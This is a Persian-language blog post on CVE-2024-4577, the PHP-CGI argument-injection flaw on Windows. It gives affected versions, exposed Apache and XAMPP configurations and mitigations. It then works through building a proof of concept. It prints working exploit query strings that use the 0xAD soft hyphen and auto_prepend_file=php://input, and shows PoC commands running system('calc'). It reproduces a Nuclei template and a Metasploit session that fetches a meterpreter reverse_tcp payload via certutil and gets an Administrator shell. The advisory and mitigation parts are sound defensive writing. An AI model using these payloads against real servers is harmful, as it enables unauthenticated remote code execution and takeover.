در جریان تحقیقات امنیت تهاجمی، تیم DEVCORE یک آسیب پذیری اجرای کد از راه دور رو در PHP پیدا کرده. با توجه به استفاده ی گسترده از PHP در اکوسیستم وب و سهولت اکسپلویت کردن این آسیب پذیری، این تیم شدت اون رو بحرانی طبقه بندی کرده و به تیم PHP گزارش داده. تیم PHP در 6 ژوئن یک اصلاحیه برای این آسیب پذیری منتشر کرده.
شرح آسیب پذیری:
آسیب پذیری CVE-2024-4577 از نوع Argument injection هستش و مهاجم بدون احرازهویت امکان RCE داره. علت آسیب پذیری اینه که تیم PHP، موقع پیاده سازی، ویژگی Best-Fit رو در سیستم عامل ویندوز در نظر نگرفته.
ویژگی Best-Fit روشی برای تبدیل کاراکتر ها از یک کدگذاری به کدگذاری دیگه است. در این روش، سیستم سعی میکنه تا بهترین معادل رو برای هر کاراکتر در کدگذاری مقصد پیدا کنه.
مهاجم احراز هویت نشده با استفاده از این ویژگی ، میتونه آسیب پذیری هایی مانند CVE-2012-1823 رو دوباره زنده کنه و اصلاحیه های اونارو دور بزنه و از طریق حملات Argument injection ، کد دلخواهش در سرور PHP اجرا کنه.
نسخه های تحت تاثیر:
آسیب پذیری همه ی نسخه های PHP که روی ویندوز نصب شدن رو تحت تاثیر قرار میده.
PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29
نکته ای که وجود داره، نسخه های PHP 8.0, PHP 7, PHP 5 دیگه پشتیبانی نمیشه و EOF شدن. اما در ادامه یسری اقدامات کاهشی موقت براشون منتشر شده.
نسخه های اصلاح شده:
- PHP 8.3.8
- PHP 8.2.20
- PHP 8.1.29
آیا من تحت تاثیر CVE-2024-4577 هستم:
برای روش های رایجی مانند استفاده از Apache HTTP Server و PHP ، دو تا سناریو مطرح شده که میتونید بررسی کنید، آیا سرورتون تحت تاثیر آسیب پذیری است یا نه. دقت کنید که تنها سرورهای ویندوزی تحت تاثیر این آسیب پذیری هستن.
نکته مهم اینه که در سناریوی دوم از پیکربندی پیش فرض XAMPP در ویندوز استفاده شده، بنابراین همه ی نسخه های نصب شده XAMPP در ویندوز، بصورت پیش فرض آسیب پذیر هستن.
در زمان نوشتن این مقاله، تایید شده که مهاجم بدون احرازهویت میتونه در صورتیکه سیستم عامل ویندوز با تنظیمات منطقه ای زیر اجرا میشه، بطور مستقیم کد دلخواه رو روی سرور از راه دور اجرا کنه:
- Traditional Chinese (Code Page 950)
- Simplified Chinese (Code Page 936)
- Japanese (Code Page 932)
بقیه تنظیمات منطقه ای رو بدلیل سناریوهای استفاده گسترده از PHP نمیشه تست کرد. بنابراین توصیه شده که کاربران یک ارزیابی جامع از داراییهای خودشون انجام بدن، سناریو های استفاده خودشون رو بررسی و PHP رو به آخرین نسخه بروزرسانی کنن، تا امنیتشون رو تضمین کنن.
سناریوی اول: اجرای PHP در حالت CGI :
CGI مخفف عبارت “Common Gateway Interface” است. CGI یک روش قدیمی برای اجرای اسکریپتها روی سرورهای وب است. در این روش، برای هر درخواست HTTP یک پروسس جدید ایجاد میشه و اسکریپت مورد نظر با استفاده از این پروسس اجرا میشه.
امروزه بطور پیش فرض، در اکثر سرورهای وب مانند آپاچی، از ماژول PHP برای اجرای اسکریپتهای PHP استفاده میشه. ماژول PHP بطور مستقیم با سرور وب ادغام میشه و اجرای اسکریپتها سریعتر و کارآمدتر از حالت CGI است.
در حالت CGI بدلیل اینکه کنترل بیشتری روی نحوه ی اجرای اسکریپتهای PHP وجود داره، بنابراین مهاجم برای اکسپلویت این آسیب پذیری دستش بازتره.
زمانی که دستور Action
در وب سرور آپاچی برای نگاشت درخواستهای HTTP به یک فایل اجرایی PHP-CGI پیکربندی میشه، این آسیب پذیری قابل اکسپلویت مستقیم است. تنظیمات رایجی که تحت تاثیر این آسیب پذیری قرار میگیره، شامل موارد زیر هستش، البته محدود به این موارد هم نیست: (اگه این تنظیمات رو دارید، آسیب پذیر هستید)
1 2 3 4 5 6 7 8 9 10 |
AddHandler cgi-script .php Action cgi-script "/cgi-bin/php-cgi.exe" or <FilesMatch "\.php$"> SetHandler application/x-httpd-php-cgi </FilesMatch> Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe" |
سناریوی دوم: در معرض دید قرار دادن باینری PHP (همچنین پیکربندی پیش فرض XAMPP)
اگه PHP در حالت CGI پیکربندی نشده باشه، در معرض دید قرار دادن فایل اجرایی PHP در دایرکتوری CGI نیز میتونه شمارو تحت تاثیر این آسیب پذیری قرار بده. سناریوهای رایج شامل موارد زیر هستن، اما محدود به اینا هم نمیشن:
-
کپی کردن فایل php.exe یا php-cgi.exe به دایرکتوری /cgi-bin/
-
در معرض دید قرار دادن دایرکتوری PHP با استفاده از دستور ScriptAlias، مثله مورد زیر:
1 |
ScriptAlias /php-cgi/ "C:/xampp/php/" |
XAMPP بطور پیش فرض باینریهای PHP رو در معرض دید قرار میده، برای همین اگه XAMPP رو بصورت پیش فرض نصب کرده باشید، تحت تاثیر آسیب پذیری هستید. برای نمونه، لینک زیر:
1 |
http://127.0.0.1/php-cgi/php-cgi.exe |
اقدامات کاهشی:
برای اصلاح آسیب پذیری، بهترین و عاقلانه ترین راه بروزرسانی به آخرین نسخه های PHP هستش که در بالا اشاره شد. اما اگه به هر دلیلی نمیتونید از نسخه ی جدید استفاده کنید، در ادامه یسری اقدامات کاهشی موقت اومده که میتونید از اونا استفاده کنید.
با توجه به اینکه PHP CGI یک معماری قدیمی هستش، توصیه شده که بی خیالش بشید و در صورت امکان به معماری های جدیدتر و امنتر مانند Mod-PHP, FastCGI, PHP-FPM مهاجرت کنید.
برای کاربرانی که نمیتونن PHP رو بروز کنن:
میتونید از رولهای Rewrite زیر برای جلوگیری از حمله استفاده کنید. این رولها برای سیستم های ویندوزی با تنظیمات محلی Chinese, Simplified Chinese, Japanese جواب میدن و صرفا یک اقدام کاهشی موقت هستن.
1 2 3 |
RewriteEngine On RewriteCond %{QUERY_STRING} ^%ad [NC] RewriteRule .? - [F,L] |
کاربرانی که از XAMPP در ویندوز استفاده میکنن:
در زمان نگارش این مقاله، XAMPP اصلاحیه ای برای این آسیب پذیری منتشر نکرده. اگه نیازی به ویژگی PHP CGI ندارید، اونو از طریق پیکربندی Apache HTTP Server زیر، میتونید غیرفعال کنید:
1 |
C:/xampp/apache/conf/extra/httpd-xampp.conf |
خط زیر رو در این فایل پیدا کنید و اونو تبدیل به کامنت کنید:
1 2 3 4 5 |
ScriptAlias /php-cgi/ "C:/xampp/php/" تبدیل به # ScriptAlias /php-cgi/ "C:/xampp/php/" |
بررسی فنی آسیب پذیری:
در حالت CGI، وب سرور درخواستهای HTTP رو تجزیه و اونارو به یک اسکریپت PHP ارسال میکنه. بعدش اسکریپت PHP، روی درخواستها پردازش هایی رو انجام میده. مثلا رشته های کوئری (querystring)، تجزیه و از طریق خط فرمان به مفسر PHP ارسال میشن. برای نمونه، درخواستی مانند http://host/cgi.php?foo=bar
ممکنه بصورت php.exe cgi.php foo=bar
اجرا بشه.
بنابراین اگه php.exe یکسری پارامتر برای خودش داشته باشه مثله php.exe cgi.php -a -b -c ، هکر با ارسال درخواستی مانند http://host/cgi.php?a&b&c میتونه به این پارامترها دسترسی داشته باشه و کد دلخواه رو اجرا کنه. در نتیجه پتانسیل حملات Argument injection رو میده. این در حقیقت چیزی بود که سال 2012 در آسیب پذیری CVE-2012-1823 کشف شد و برای اصلاح اومدن ورودی رو قبل از فراخوانی php.exe، بررسی و موارد مشکوک رو حذف کردن.
آسیب پذیری جدید در حقیقت روشی هستش که اصلاحیه های قبلی رو دور میزنه و در نتیجه امکان دسترسی به پارامترهای خط فرمان PHP.exe رو میده. همونطور که بالا اشاره شد این بدلیل ویژگی Best-Fit در ویندوز هستش.
PHP بطور معمول از تابع urldecode
برای دیکد کردن رشته های URL استفاده میکنه. این تابع انتظار داره که URL با استفاده از انکدینگ URL (UTF-8 یا ASCII) دیکد بشه. با این حال، در سیستم عامل ویندوز، اگه رشته URL با استفاده از انکدینگ دیگه ای (مثله CP1252) انکد شده باشه، تابع urldecode
از روش Best-Fit برای تبدیل کاراکترها به UTF-8 استفاده میکنه.
فرض کنید یک مهاجم رشته URL زیر رو به یک سرور PHP ارسال میکنه:
1 |
http://example.com/script.php?param=\x80\xAF |
این رشته URL با استفاده از انکدینگ CP1252 انکد شده. در سیستم عامل ویندوز، تابع urldecode
این رشته رو بصورت زیر دیکد میکنه:
1 |
http://example.com/script.php?param=%E2%82%AC |
کاراکتر %E2%82%AC
در واقع معادل کاراکتر “€” در UTF-8 است. مهاجم میتونن از این موضوع سوء استفاده کنه و رشته های URL رو با استفاده از انکدینگ CP1252 طوری طراحی کنه که پس از دیکد کردن توسط تابع urldecode
، توالی کاراکترهای خاصی ایجاد بشه که منجر به اجرای کد دلخواه روی سرور بشه.
جدول زیر انکدینگ CP1252 رو نشون میده:
برای مثال، در زیر دو فراخوانی از php.exe رو میبینید، یکی از اونا مخرب هستش و یکی نه. میتونید تشخیص بدید؟
به نظر مشابه هستن اما اگه اونا رو داخل یک Hex Editor باز کنیم، تفاوتشون رو مشاهده میکنیم:
همونطور که مشاهده میکنید، دستور اول از یک خط تیره معمولی استفاده میکنه (0x2D) ، اما دستور دوم از یک soft hyphen با کد 0xAD استفاده میکنه. هر دو دستور برای من و شما یکی هستن اما برای سیستم عامل نه.
نکته ای که وجود داره، آپاچی وقتی خط تیره معمولی رو میبینه اونو بعنوان یک کاراکتر مشکوک در نظر میگیره و پاکش میکنه اما برای دومی نه. چون اون یک خط تیره معمولی نیست.
وقتی PHP با دستور دوم مواجه میشه، براساس ویژگی Best-Fit و بعنوان بخشی از پردازش یونیکد، فرض میکنه که کاربر هدفش خط تیره معمولی بوده و اونو بعنوان خط تیره معمولی تفسیر میکنه. اینجا آسیب پذیری ما خودش نشون میده. وقتی CGI با soft hyphen (0xAD) مواجه میشه، اونو بعنوان کاراکتر مشکوک در نظر نمیگیره و اونو به PHP میفرسته. PHP هم اونو بعنوان یک خط تیره معمولی تفسیر میکنه، که این امکان رو به مهاجم میده تا حمله ی Argument injection رو انجام بده و دستور دلخواه اجرا کنه.
توسعه ی POC:
برای اینکه یک PoC برای این آسیب پذیری توسعه بدیم، همونطور که مشاهده کردیم، این آسیب پذیری شبیه CVE-2012-1823 هستش، بنابراین میتونیم از POCهای این آسیب پذیری استفاده کنیم.
اولین چیزی که باید در نظر بگیریم اینه که، برای اجرای کد نیاز به چه آرگومانهایی داریم یا سوال بهتر اینه که چطوری میتونیم این تزریق رو به اجرای کد تبدیل کنیم.
براساس مقاله ای که برای CVE-2012-1823، اینجا منتشر شده، ما برای اینکه کد دلخواه رو اجرا کنیم، باید کد PHP رو به سرور ارسال و تفسیر کنیم. با استفاده از php://input میتونیم کد دلخواهمون رو در بدنه درخواست قرار بدیم.
برای اکسپلویت این آسیب پذیری، میخواهیم PHP، کد PHP رو از درخواست HTTP بخونه. برای انجام این کار، به یک پارامتری از PHP نیاز داریم که بهش بگه کد PHP مارو از یک فایل بخونه و این فایل به php://input
اشاره کنه. این ویژگی auto_prepend_file هستش و از نسخه ی 4.2.3 به PHP اضافه شده. برای اینکه بتونیم این گزینه رو فعال کنیم، باید فایل PHP.ini رو دستکاری کنیم، یعنی auto_prepend_file=php://input کنیم. برای دستکاری این فایل میتونیم از پارامتر d استفاده کنیم، یعنی به اینصورت : d auto_prepend_file=php://input- .
تا اینجای کار همه چیز اوکیه، فقط نکته ای که وجود داره اینه که، ما برای اینکه از php://input استفاده کنیم باید allow_url_include هم فعال باشه. این گزینه معمولا بصورت پیش فرض فعال نیست. برای اینکه بتونیم این گزینه رو هم فعال کنیم، باید فایل PHP.ini رو دستکاری کنیم، یعنی allow_url_include=1 کنیم. برای این منظور دوباره از پارامتر d استفاده میکنیم. یعنی d allow_url_include=1- .
مواردی که بالا بررسی کردیم مربوط به CVE-2012-1823 بود و این آسیب پذیری اصلاح شده. دلیلشم اینه که خط تیره برای پارامتر d بعنوان کاراکتر مشکوک در نظر گرفته میشه و پاک میشه و در نتیجه کل باگ رو هواست.
اینجا نقطه ای هستش که آسیب پذیری جدید، CVE-2024-4577، وارد میدون میشه. ما میتونیم بجای استفاده از خط تیره معمولی از soft hyphen (0xAD) استفاده کنیم و اصلاحیه رو دور بزنیم.
بنابراین POC کلی ما میتونه بصورت زیر باشه. در قسمت input باید کد PHP که میخواییم اجرا بشه رو قرار بدیم.
1 |
}?%ADd+allow_url_include%3d1+ADd+auto_prepend_file%3dphp://inpu |
یک PoC کامل برای این آسیب پذیری منتشر شده که میتونید از این لینک بهش دسترسی داشته باشید.
یک تمپلیت Nuclei هم برای این آسیب پذیری منتشر شده که از اینجا قابل دسترسه.
متاسپلویت هم این اکسپلویت رو به مجموعه ی خودش اضافه کرده.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > show options Module options (exploit/windows/http/php_cgi_arg_injection_rce_cve_2024_4577): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /php-cgi/php-cgi.exe yes The path to a PHP CGI endpoint VHOST no HTTP server virtual host Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) FETCH_DELETE false yes Attempt to delete the binary after execution FETCH_FILENAME EmrOsqzs no Name to use on remote system when storing payload; cannot contain spaces or slashes FETCH_SRVHOST no Local IP to use for serving payload FETCH_SRVPORT 8080 yes Local port to use for serving payload FETCH_URIPATH no Local URI to use for serving payload FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. LHOST 192.168.86.42 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 1 Windows Command View the full module info with the info, or info -d command. msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > check [+] 192.168.86.50:80 - The target is vulnerable. Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 [*] Sending stage (201798 bytes) to 192.168.86.50 [*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:49994) at 2024-06-07 15:33:10 +0100 meterpreter > getuid Server username: WIN-V28QNSO2H05\Administrator meterpreter > pwd C:\xampp\php meterpreter > sysinfo Computer : WIN-V28QNSO2H05 OS : Windows Server 2022 (10.0 Build 20348). Architecture : x64 System Language : ja_JP Domain : WORKGROUP Logged On Users : 1 Meterpreter : x64/windows meterpreter > |
نحوه ی تست PoC:
با توجه به متن بالا، اگه ما XAMPP رو روی ویندوز با تنظیمات پیش فرض نصب کنیم، میتونیم این آسیب پذیری رو داشته باشیم. بنابراین من برای تست این این برنامه رو نصب کردم. برای نصب میتونید از این لینک استفاده کنید یا هم که از سایتهای داخلی. ( من از نسخه ی XAMPP 8.2.12 x64 استفاده میکنم)
بعد از نصب، داخل کنترل پنل برنامه، آپاچی رو استارت بزنید تا صفحه ی زیر رو در مرورگرتون داشته باشید:
برای شروع از POC استفاده کردم، اما کد برای من کار نکرد. با توجه به اینکه بالا اشاره شده بود که نسخه های چینی بصورت پیش فرض آسیب پذیر هستن، من تنظیمات محلی رو به چین و Simplified Chinese تغییر دادم. اما باز دوباره PoC برای من کار نکرد. چیزی هم که استفاده میکردم، دستور زیر بود:
1 |
python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('calc');?>" -t http://127.0.0.1 |
کد PoC رو بررسی کردم و متوجه شدم که باید مسیر CGI رو هم بدیم. بنابراین این بار دستور رو بصورت زیر اجرا کردم:
1 |
python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('calc');?>" -t http://127.0.0.1/php-cgi/php-cgi.exe |
اما دوباره، آسیب پذیری برای من اکسپلویت نشد. این بار رفتم سراغ Nuclei، تا ببینم اصلا سیستم رو آسیب پذیر شناسایی میکنه یا نه. که همونطور که در خروجی میبینید، آسیب پذیر تشخیص داده:
بنابراین سیستم آسیب پذیر اما POC برای من کار نمیکنه. برای همین رفتم تمپلیت Nuclei رو بررسی کردم :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
POC Code: res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data=f"{args.code};echo 1337; die;" ) Nuclei Template: http: - method: POST path: - "{{BaseURL}}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" - "{{BaseURL}}/index.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" - "{{BaseURL}}/test.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" - "{{BaseURL}}/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" |
بنابراین POC رو تغییر دادم به زیر :
1 |
res = s.post(f"{args.target.rstrip('/')}?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input", data=f"{args.code};echo 1337; die;" ) |
پارامتر cgi.force_redirect=0 : یک ویژگی در Apache است که بطور خودکار URL های درخواست شده رو به فرمت استانداردتری تبدیل میکنه. با 0 کردن اون جلوی این تغییر رو میگیریم.
پارامتر cgi.redirect_status_env : هنگامی که یک درخواست به یک اسکریپت CGI ارسال میشه، Apache کد وضعیت HTTP رو برای اون درخواست تعیین میکنه. بطور پیش فرض، Apache فقط کد وضعیت HTTP 302 رو بعنوان متغیر محیطی HTTP_STATUS
به اسکریپت های CGI ارسال میکنه. با استفاده از تنظیم cgi.redirect_status_env
میتونید لیست کدهای وضعیت رو گسترده کنید.
این بار POC کار کرد و تونستم، روی ماه Calc رو ببینم.
جدول زمانی:
7 مه/ 18 اردیبهشت: تیم DEVCORE گزارش آسیب پذیری رو به PHP ارسال کرده.
7 مه/18 اردیبهشت: تیم PHP آسیب پذیری رو تایید کرده.
16 مه/27 اردیبهشت: تیم PHP اولین نسخه ی اصلاحیه رو منتشر و منتظر بازخورد شده.
18 مه/29 اردیبهشت: تیم PHP دومین نسخه ی اصلاحیه رو منتشر و منتظر بازخورد شده.
20 مه/31 اردبهشت: تیم PHP وارد مرحله ی آماده سازی برای انتشار نسخه ی جدید شده.
6 ژوئن/17 خرداد: تیم PHP نسخه های جدید 8.3.8, 8.2.20, 8.1.29 رو منتشر کرده.
منابع:
خیلی عالی بود، مخصوصا اشاره به پارامتر cgi.force_redirect=0
وقتی آسیب پذیری بیرون اومد با نصب XAMPP سعی به پیدا کردن نحوه اکسپلویت کردم اما با اکسپلویتهای موجود این امکان وجود نداشت. درباره این پارامتر نمیدونستم و اشاره به این پارامتر به فهمیدن مسئلهای که داشتم خیلی کمک کرد. ممنونم.